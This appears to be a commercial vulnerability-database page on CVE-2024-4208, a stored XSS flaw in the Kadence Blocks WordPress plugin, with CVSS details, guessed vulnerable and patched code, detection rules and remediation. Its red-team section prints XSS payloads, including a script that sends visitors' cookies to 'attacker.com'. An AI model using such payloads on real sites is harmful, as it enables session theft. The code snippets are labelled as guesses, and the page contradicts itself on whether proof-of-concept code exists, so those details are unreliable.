CVE-2024-4208
Executive Summary
CVE-2024-4208 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence Blocks – Gutenberg Blocks for Page Builder Features WordPress plugin, affecting all versions up to and including 3.2.37. The flaw resides in the advanced heading widget’s “typer effect” attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.4 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at the time of analysis. No public proof-of-concept or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed on over 100,000 sites. Users should verify their plugin version and apply any available updates from the vendor. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS on a widely-used plugin poses a significant risk to site visitors.
Deep Dive & Mechanics
The vulnerability is located in the advanced heading block of the Kadence Blocks plugin. The block includes a “typer effect” feature that allows text to be typed out dynamically. The plugin fails to properly sanitize user-supplied attributes (likely the text or content attribute) before rendering them in the page. An attacker with contributor-level access can craft a block with a malicious payload, such as:
<script>alert('XSS')</script>
When the block is rendered, the payload is executed in the context of the victim’s browser. The lack of output escaping on the attribute allows the script to be injected directly into the DOM.
Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the advanced heading widget.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates or edits a post/page and adds an advanced heading block.
- Attacker sets the typer effect attribute to a malicious JavaScript payload.
- The payload is stored in the database.
- When any user (including administrators) visits the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.2.37):
The plugin likely uses a function like esc_attr() incorrectly or not at all. Example vulnerable snippet:
echo '<div class="kt-adv-heading" data-typer="' . $attributes['typer_text'] . '">';
Here, $attributes['typer_text'] is not sanitized or escaped, allowing arbitrary HTML/JavaScript injection.
Patched Code (Hypothetical): A patch would properly escape the attribute:
echo '<div class="kt-adv-heading" data-typer="' . esc_attr( $attributes['typer_text'] ) . '">';
Additionally, input validation should be applied to ensure only safe characters are allowed.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Kadence Blocks plugin <= 3.2.37
- Contributor-level account credentials
Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Add an “Advanced Heading” block.
- In the block settings, locate the “Typer Effect” field.
- Inject the following payload:
Or a more sophisticated payload:<img src=x onerror=alert('XSS')><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- When any user visits the page, the script executes.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Response)
Detection:
- Monitor for posts/pages containing suspicious JavaScript in block attributes.
- Use WAF rules to block common XSS patterns in POST requests.
- Review user activity logs for unusual block edits by low-privilege users.
Response:
- Immediately disable the Kadence Blocks plugin if no patch is available.
- Remove malicious posts/pages.
- Rotate all user sessions and credentials.
- Conduct a forensic analysis to identify the attacker’s actions.
Indicators of Compromise (IOCs)
- File-based:
- Modified posts/pages containing
<script>tags or event handlers (e.g.,onerror,onload) in thewp_poststable.
- Modified posts/pages containing
- Network-based:
- Outbound connections to attacker-controlled domains from the WordPress server.
- Log-based:
- Unusual block edits by contributor-level users.
- HTTP requests containing XSS payloads in the
post_contentparameter.
Detection Engineering
YARA Rule
rule CVE_2024_4208_XSS {
meta:
description = "Detects stored XSS payloads in Kadence Blocks typer effect"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4208"
strings:
$xss1 = /data-typer="[^"]*<script[^>]*>/i
$xss2 = /data-typer="[^"]*onerror[^"]*>/i
$xss3 = /data-typer="[^"]*onload[^"]*>/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Kadence Blocks Typer Effect
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects stored XSS attempts in Kadence Blocks plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/post.php
http.body|contains:
- 'data-typer='
- '<script'
- 'onerror='
'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in blocks (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4208 Stored XSS in Kadence Blocks"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"data-typer="; http_client_body; pcre:"/data-typer=\"[^\"]*<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version becomes available, update to the latest version immediately.
- Disable the plugin: If no patch is available, disable the Kadence Blocks plugin until a fix is released.
- Restrict user roles: Limit contributor-level access to trusted users only.
- Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in POST requests.
Long-term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits of WordPress plugins.
- Enforce input validation and output escaping in custom code.
Valters IT – This report is provided for educational and defensive purposes. Unauthorized exploitation is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.